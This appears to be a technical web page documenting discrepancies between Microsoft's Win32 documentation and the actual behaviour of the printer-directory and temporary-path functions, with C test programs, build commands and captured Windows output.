- A pointer to a buffer that receives a null-terminated character string containing the default printer name. If this parameter is NULL, the function fails and the variable pointed to by pcchBuffer returns the required buffer size, in characters.
If the function succeeds, the return value is a nonzero value and the variable pointed to by pcchBuffer contains the number of characters copied to the pszBuffer buffer, including the terminating null character.
If the function fails, the return value is zero.
Value Meaning ERROR_INSUFFICIENT_BUFFER The pszBuffer buffer is too small. The variable pointed to by pcchBuffer contains the required buffer size, in characters. ERROR_FILE_NOT_FOUND There is no default printer.
GetPrinterDriverDirectory()
specifies:
The GetPrinterDriverDirectory function retrieves the path of the printer-driver directory.The documentation for the Win32 function[…]BOOL GetPrinterDriverDirectory( [in] LPTSTR pName, [in] LPTSTR pEnvironment, [in] DWORD Level, [out] LPBYTE pDriverDirectory, [in] DWORD cbBuf, [out] LPDWORD pcbNeeded );
[…]
- pEnvironment [in]
- A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
- […]
- pcbNeeded [out]
- A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
If the function succeeds, the return value is a nonzero value.
If the function fails, the return value is zero.
[…]
Requirement Value … … Unicode and ANSI names GetPrinterDriverDirectoryW (Unicode) and GetPrinterDriverDirectoryA (ANSI)
GetPrintProcessorDirectory()
specifies:
The GetPrintProcessorDirectory function retrieves the path to the print processor directory on the specified server.OOPS⁰: although the Win32 functions[…]BOOL GetPrintProcessorDirectory( [in] LPTSTR pName, [in] LPTSTR pEnvironment, [in] DWORD Level, [out] LPBYTE pPrintProcessorInfo, [in] DWORD cbBuf, [out] LPDWORD pcbNeeded );
[…]
- pEnvironment [in]
- A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
- […]
- pcbNeeded [out]
- A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
If the function succeeds, the return value is a nonzero value.
If the function fails, the return value is zero.
[…]
Requirement Value … … Unicode and ANSI names GetPrintProcessorDirectoryW (Unicode) and GetPrintProcessorDirectoryA (ANSI)
GetPrinterDriverDirectory()
and
GetPrintProcessorDirectory()
are available for
Unicode
and
ANSI,
their output buffer is declared as array of bytes instead array of
(wide) characters, and its size is counted in bytes instead of
(wide) characters!
OUCH⁰: all 3 documentations fail to specify
that extended error information is available through a call of the
GetLastError()
function!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winspool.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR lpEnvironment[] = {NULL,
L"",
L"Windows 4.0",
L"Windows NT x86",
L"Windows IA64",
L"Windows x64",
L"Windows x86"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBlunder[MAX_PATH];
DWORD dwBlunder = sizeof(szBlunder) / sizeof(*szBlunder);
DWORD dwEnvironment = 0UL;
DWORD dwError = ERROR_SUCCESS;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!GetDefaultPrinter(szBlunder, &dwBlunder))
PrintConsole(hError,
L"GetDefaultPrinter() returned error %lu (%lu)\n",
dwError = GetLastError(), dwBlunder);
else
PrintConsole(hError,
L"GetDefaultPrinter() returned name \'%ls\' of %lu characters\n",
szBlunder, dwBlunder);
if (!GetPrinterDriverDirectory((LPWSTR) NULL,
(LPWSTR) NULL,
1UL,
szBlunder,
0UL,
&dwBlunder))
PrintConsole(hError,
L"GetPrinterDriverDirectory() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hError,
L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes\n",
szBlunder, dwBlunder);
if (!GetPrintProcessorDirectory((LPWSTR) NULL,
(LPWSTR) NULL,
1UL,
NULL,
sizeof(szBlunder),
&dwBlunder))
PrintConsole(hError,
L"GetPrintProcessorDirectory() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hError,
L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes\n",
szBlunder, dwBlunder);
do
{
if (!GetPrinterDriverDirectory((LPWSTR) NULL,
lpEnvironment[dwEnvironment],
1UL,
szBlunder,
sizeof(szBlunder),
&dwBlunder))
PrintConsole(hError,
L"GetPrinterDriverDirectory() returned error %lu for environment \'%ls\'\n",
dwError = GetLastError(), lpEnvironment[dwEnvironment]);
else
PrintConsole(hError,
L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
szBlunder, dwBlunder, lpEnvironment[dwEnvironment]);
if (!GetPrintProcessorDirectory((LPWSTR) NULL,
lpEnvironment[dwEnvironment],
1UL,
szBlunder,
sizeof(szBlunder),
&dwBlunder))
PrintConsole(hError,
L"GetPrintProcessorDirectory() returned error %lu for environment \'%ls\'\n",
dwError = GetLastError(), lpEnvironment[dwEnvironment]);
else
PrintConsole(hError,
L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
szBlunder, dwBlunder, lpEnvironment[dwEnvironment]);
}
while (++dwEnvironment < sizeof(lpEnvironment) / sizeof(*lpEnvironment));
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.lib winspool.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(65) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE' blunder.c(94) : warning C4090: 'function' : different 'const' qualifiers blunder.c(96) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE' blunder.c(106) : warning C4090: 'function' : different 'const' qualifiers blunder.c(108) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib winspool.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetDefaultPrinter() returned name 'Microsoft XPS Document Writer' of 30 characters GetPrinterDriverDirectory() returned error 122 GetPrintProcessorDirectory() returned error 1784 GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment '' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment '' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment '' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment '' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\WIN40' of 80 bytes for environment 'Windows 4.0' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\WIN40' of 82 bytes for environment 'Windows 4.0' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\W32X86' of 82 bytes for environment 'Windows NT x86' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\W32X86' of 84 bytes for environment 'Windows NT x86' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\IA64' of 78 bytes for environment 'Windows IA64' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\IA64' of 80 bytes for environment 'Windows IA64' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment 'Windows x64' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment 'Windows x64' GetPrinterDriverDirectory() returned error 1805 for environment 'Windows x86' GetPrintProcessorDirectory() returned error 1805 for environment 'Windows x86' 0x70d (WIN32: 1805 ERROR_INVALID_ENVIRONMENT) -- 1805 (1805) Error message text: The environment specified is invalid. CertUtil: -error command completed successfully.OUCH¹: the Win32 functions
GetPrinterDriverDirectory()
and
GetPrintProcessorDirectory()
exhibit undocumented behaviour – they provide
extended error information via
GetLastError()
,
for example the Win32 error code 122 alias
ERROR_INSUFFICIENT_BUFFER
,
1784 alias
ERROR_INVALID_USER_BUFFER
or 1805 alias
ERROR_INVALID_ENVIRONMENT
!
OUCH²: the undocumented empty
environment string is equivalent to NULL
!
OUCH³: the environment string
Windows x86
specified in the documentation cited
above is but invalid!
GetTempPath()
states:
Retrieves the path of the directory designated for temporary files.OOPS: in addition to the blunder demonstrated hereafter, this documentation fails to specify that[…]DWORD GetTempPath( [in] DWORD nBufferLength, [out] LPTSTR lpBuffer );
If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpBuffer, not including the terminating null character.
[…]
The maximum possible return value is MAX_PATH+1 (261).
[…]
The GetTempPath function checks for the existence of environment variables in the following order and uses the first path found:
- The path specified by the TMP environment variable.
- The path specified by the TEMP environment variable.
- The path specified by the USERPROFILE environment variable.
- The Windows directory.
lpBuffer
can be 0 alias NULL
if
nBufferLength
is 0 too.
Oops: there’s yet another (triple) omission
in the documentation –
The path specified by the […] environment variable.
needs to be read as The absolute or relative path
specified by the […] environment variable.
CAVEAT: the default value of the machine-specific
environment variables TEMP
and TMP
is
%SystemRoot%\TEMP
, and the default value of the
user-specific environment variables TEMP
and
TMP
is %USERPROFILE%\AppData\Local\Temp
,
i.e. both reference another environment variable. If this one is
undefined during creation of the environment block, the respective
substring %SystemRoot%
or %USERPROFILE%
is
not replaced with the value of the referenced
environment variable and thus preserved. In consequence the
GetTempPath()
function returns the literal string %SystemRoot%\TEMP
respectively %USERPROFILE%\AppData\Local\Temp
, which is
a valid relative path name. Since a subdirectory
with this path name does almost always not exist in the
CWD, programs
which rely on the existence of the path returned from the
GetTempPath()
function are subject to fail!
The documentation for the Win32 function
GetTempFileName()
specifies:
Creates a name for a temporary file. If a unique file name is generated, an empty file is created and the handle to it is released; otherwise, only a file name is generated.[…]UINT GetTempFileName( [in] LPCTSTR lpPathName, [in] LPCTSTR lpPrefixString, [in] UINT uUnique, [out] LPTSTR lpTempFileName );
[in] lpPathName
The directory path for the file name. Applications typically specify a period (.) for the current directory or the result of the GetTempPath function. The string cannot be longer than MAX_PATH−14 characters or GetTempFileName will fail.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szVariable[] = {L"TMP", L"TEMP", L"USERPROFILE"};
const LPCWSTR szValue[] = {L"",
L" ",
L" ",
L" ",
L"€",
L".\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.",
L".\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.",
L"abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz",
L"abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz",
L"..",
L"..\\..",
L"..\\..\\..",
L"..\\..\\..\\..",
L"AUX",
L"AUX:",
L"CON:",
L"NUL:",
L"PRN:"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBlunder[MAX_PATH + 2];
DWORD dwBlunder;
DWORD dwVariable = 0UL;
DWORD dwValue;
DWORD dwError = ERROR_SUCCESS;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
do
{
memcpy(szBlunder, L"..", sizeof(L".."));
dwValue = 0UL;
do
if (!SetEnvironmentVariable(szVariable[dwVariable], szValue[dwValue]))
PrintConsole(hError,
L"SetEnvironmentVariable() returned error %lu\n",
dwError = GetLastError());
else
{
dwBlunder = GetTempPath(sizeof(szBlunder) / sizeof(*szBlunder),
szBlunder);
if (dwBlunder == 0UL)
PrintConsole(hError,
L"GetTempPath() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hError,
L"GetTempPath() returned pathname \'%ls\' of %lu characters for %ls=%ls of %lu characters\n",
szBlunder, dwBlunder, szVariable[dwVariable], szValue[dwValue], wcslen(szValue[dwValue]));
if (GetTempFileName(szBlunder, L"tmp", 0U, szBlunder) == 0U)
PrintConsole(hError,
L"GetTempFileName() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hError,
L"GetTempFileName() returned pathname \'%ls\'\n",
szBlunder);
if (!DeleteFile(szBlunder))
PrintConsole(hError,
L"DeleteFile() returned error %lu\n",
dwError = GetLastError());
}
}
}
while (++dwValue < sizeof(szValue) / sizeof(*szValue));
if (SetEnvironmentVariable(szVariable[dwVariable], (LPCWSTR) NULL))
continue;
PrintConsole(hError,
L"SetEnvironmentVariable() returned error %lu\n",
dwError = GetLastError());
break;
}
while (++dwVariable < sizeof(szVariable) / sizeof(*szVariable));
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. on Windows 7 (or an earlier version) and
evaluate its exit code:
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601] GetTempPath() returned pathname '..' of 1 characters for TMP= of 0 characters GetTempFileName() returned pathname '..\tmpB3CC.tmp' GetTempPath() returned pathname '..\tmpB3CC.tmp' of 1 characters for TMP= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmpB3CC.tmp' of 1 characters for TMP= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmpB3CC.tmp' of 1 characters for TMP= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for TMP=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmpB3DD.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpB3EE.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpB3FF.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpB414.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TMP=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB432.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for TMP=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmpB456.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmpB477.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for TMP=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TMP=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TMP=PRN: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..' of 1 characters for TEMP= of 0 characters GetTempFileName() returned pathname '..\tmpB499.tmp' GetTempPath() returned pathname '..\tmpB499.tmp' of 1 characters for TEMP= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmpB499.tmp' of 1 characters for TEMP= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmpB499.tmp' of 1 characters for TEMP= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for TEMP=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmpB4BC.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB4DE.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB503.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB543.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB56F.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for TEMP=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmpB578.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmpB58F.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for TEMP=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TEMP=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TEMP=PRN: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..' of 1 characters for USERPROFILE= of 0 characters GetTempFileName() returned pathname '..\tmpB5C6.tmp' GetTempPath() returned pathname '..\tmpB5C6.tmp' of 1 characters for USERPROFILE= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmpB5C6.tmp' of 1 characters for USERPROFILE= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmpB5C6.tmp' of 1 characters for USERPROFILE= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for USERPROFILE=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmpB5E3.tmp' GetTempPath() returned pathname 'C:\Windows\' of 11 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\Windows\tmpB5FD.tmp' GetTempPath() returned pathname 'C:\Windows\' of 11 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname 'C:\Windows\tmpB609.tmp' GetTempPath() returned pathname 'C:\Windows\' of 11 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned pathname 'C:\Windows\tmpB623.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for USERPROFILE=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB654.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for USERPROFILE=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmpB67D.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmpB693.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for USERPROFILE=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for USERPROFILE=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for USERPROFILE=PRN: of 4 characters GetTempFileName() returned error 267 0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH¹: contrary to the first highlighted statement of its documentation cited above, the Win32 function
GetTempPath()
returns 1 if the environment variable TMP
,
TEMP
respectively USERPROFILE
is empty or
its value contains only blanks, but fails to (over)write its output
buffer!
OUCH²: the documentation for the
Win32 function
GetTempFileName()
fails to specify that it appends a backslash to the directory name
if it does not end with a backslash!
OUCH³: although the directory name is valid,
the
GetTempFileName()
function fails with Win32 error code 267 alias
ERROR_DIRECTORY
,
i.e. The directory name is invalid.
instead of the
appropriate Win32 error code 3 alias
ERROR_PATH_NOT_FOUND
,
i.e. The system cannot find the path specified.
if the
directory does not exist!
OUCH⁴: on Windows 7 and earlier
versions, the
GetTempPath()
function discards the environment variables TMP
,
TEMP
and USERPROFILE
if their value is not
less than 130 = MAX_PATH
÷ 2
characters!
OUCH⁵: if the value of the environment
variable TMP
, TEMP
respectively
USERPROFILE
is a
DOS device name
(with or without a trailing colon), the
GetTempPath()
function returns the corresponding Win32
device name
followed by a backslash instead of error code 267 alias
ERROR_DIRECTORY
!
Execute the console application blunder.exe
built in
step 2. on Windows 8 (or a later version) and
evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
